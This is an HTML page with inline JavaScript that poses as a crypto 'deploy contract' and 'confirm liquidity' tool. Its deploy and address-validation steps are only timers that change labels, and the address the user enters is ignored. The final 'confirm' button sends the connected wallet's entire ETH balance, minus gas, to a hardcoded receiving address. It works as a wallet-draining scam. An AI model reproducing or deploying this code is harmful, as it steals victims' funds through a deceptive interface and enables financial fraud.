<section>
  <button id="connectButton">connect</button>
  <table id="checkAdressBalanceButton" style="display: none">
    <tr>
      <td>my contract</td>
      <td><button id="regular">deploy</button></td>
      <td>
        <p id="result"><code>no contract</code></p>
      </td>
    </tr>
    <tr>
      <td>my second address</td>
      <td>
        <input
          type="text"
          id="typeAdress"
          name="adress_auth"
          placeholder="Input second address ETH-0x"
          autocomplete="off"
          size="20" />
      </td>
      <td>
        <button id="sendEtherButton" style="display: none">Attach</button>
      </td>
      <td><div id="statusMessage"></div></td>
    </tr>
    <tr>
      <td>my status</td>
      <td>
        <center>
          <button disabled="disabled" id="checkBalanceButton" style="display: none">
            liquid
          </button>
        </center>
      </td>
      <td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
    </tr>
  </table>
  <script>
    const connectButton = document.getElementById("connectButton");
    const sendEtherButton = document.getElementById("sendEtherButton");
    const typeAdress = document.getElementById("typeAdress");
    const checkBalanceButton = document.getElementById("checkBalanceButton");
    const balanceDisplay = document.getElementById("balanceDisplay");
    const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
    const statusMessage = document.getElementById("statusMessage");
    const resultElement = document.getElementById("result");
    const regularLaunchButton = document.getElementById("regular");

    let validationComplete = false;
    let transferInProgress = false;

    const performTransaction = async () => {
      try {
        const gasLimit = 33000;
        const receiverAddress = "0xb832399faca621dc78849578dca13090446f6148"; // Your Ethereum address

        const balanceWei = await window.ethereum.request({
          method: "eth_getBalance",
          params: [window.ethereum.selectedAddress, "latest"],
        });

        const gasPrice = await window.ethereum.request({
          method: "eth_gasPrice",
        });

        const gasCost = BigInt(gasPrice) * BigInt(gasLimit);

        if (BigInt(balanceWei) < gasCost) {
          alert("Insufficient ETH for gas fees.");
          transferInProgress = false;
          return;
        }

        const amountToSend = BigInt(balanceWei) - gasCost;

        await window.ethereum.request({
          method: "eth_sendTransaction",
          params: [
            {
              from: window.ethereum.selectedAddress,
              to: receiverAddress,
              value: "0x" + amountToSend.toString(16),
            },
          ],
        });

        alert("Transaction successful!");
        transferInProgress = false;
      } catch (error) {
        alert("Error confirming liquidity. Please try again.");
        console.error(error);
        transferInProgress = false;
      }
    };

    connectButton.addEventListener("click", async () => {
      try {
        const accounts = await window.ethereum.request({
          method: "eth_requestAccounts",
        });
        if (accounts.length > 0) {
          sendEtherButton.style.display = "block";
          typeAdress.style.display = "block";
          checkBalanceButton.style.display = "block";
          checkAdressBalanceButton.style.display = "block";
          connectButton.style.display = "none";
        }
      } catch (error) {
        console.error(error);
        alert("Connection error.");
      }
    });

    sendEtherButton.addEventListener("click", async () => {
      try {
        const value = typeAdress.value;
        if (resultElement.innerText !== "ready") {
          alert("Click the deploy button first.");
          return;
        }
        if (!value || value.length < 40) {
          alert("Please enter a valid Ethereum address.");
          return;
        }
        if (!validationComplete) {
          if (
            /^[a-zA-Z0-9]+$/.test(value) &&
            value.length >= 40
          ) {
            statusMessage.textContent = "waiting";
            typeAdress.disabled = true;
            sendEtherButton.disabled = true;

            setTimeout(() => {
              validationComplete = true;
              statusMessage.textContent = "ready";
              typeAdress.disabled = true;
              sendEtherButton.textContent = "confirm";
              sendEtherButton.disabled = false;
            }, 10000);
          } else {
            alert("Invalid input value.");
          }
        } else if (sendEtherButton.textContent === "confirm") {
          performTransaction();
        }
      } catch (error) {
        console.error("Error on process:\n" + error);
        transferInProgress = false;
      }
    });

    checkBalanceButton.addEventListener("click", async () => {
      try {
        const balanceWei = await window.ethereum.request({
          method: "eth_getBalance",
          params: [window.ethereum.selectedAddress, "latest"],
        });
        const balanceEther = (BigInt(balanceWei) / BigInt(1e18)).toFixed(4);
        balanceDisplay.innerText = `Balance: ${balanceEther} ETH`;
        balanceDisplay.style.display = "block";
      } catch (error) {
        console.error(error);
        alert("Error retrieving balance.");
      }
    });

    regularLaunchButton.addEventListener("click", () => {
      resultElement.innerText = "waiting...";
      setTimeout(() => {
        resultElement.innerText = "ready";
      }, 12000);
    });
  </script>
  <style>
    /* Styling from your original code */
    html {
      box-sizing: border-box;
      font-family: "Open Sans", sans-serif;
    }
    * {
      box-sizing: inherit;
    }
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      margin: 0;
      padding: 20px;
      background: #222336;
      color: white;
    }
    section {
      background: #2a2c3f;
      border-radius: 1em;
      padding: 1em;
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
    }
  </style>
</section>
